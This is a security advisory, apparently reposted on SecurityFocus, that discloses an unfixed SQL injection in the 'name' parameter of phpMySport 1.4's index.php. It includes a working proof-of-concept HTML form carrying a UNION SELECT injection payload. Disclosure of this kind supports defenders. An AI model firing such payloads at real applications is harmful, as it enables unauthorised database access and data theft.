SQL Injection in phpMySport Jan 06 2011 06:16PM
advisory htbridge ch
Vulnerability ID: HTB22771
Reference: http://www.htbridge.ch/advisory/sql_injection_in_phpmysport_1.html
Product: phpMySport
Vendor: phpMySport ( http://phpmysport.sourceforge.net/ )
Vulnerable Version: 1.4
Vendor Notification: 21 December 2010
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "name" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

<form action="http://[host]/index.php?r=member&v1=member_list" method="post" name="main" >
<input type="hidden" name="name" value="123' union select 1,2,3,4,5,6,7,@@version,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2
5,26 -- 1"/>
<input name="page" value="" type="hidden">
<input name="tri" value="name" type="hidden">
<input name="ordre" value="asc" type="hidden">
<input type="submit" value="submit" name="submit" />

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus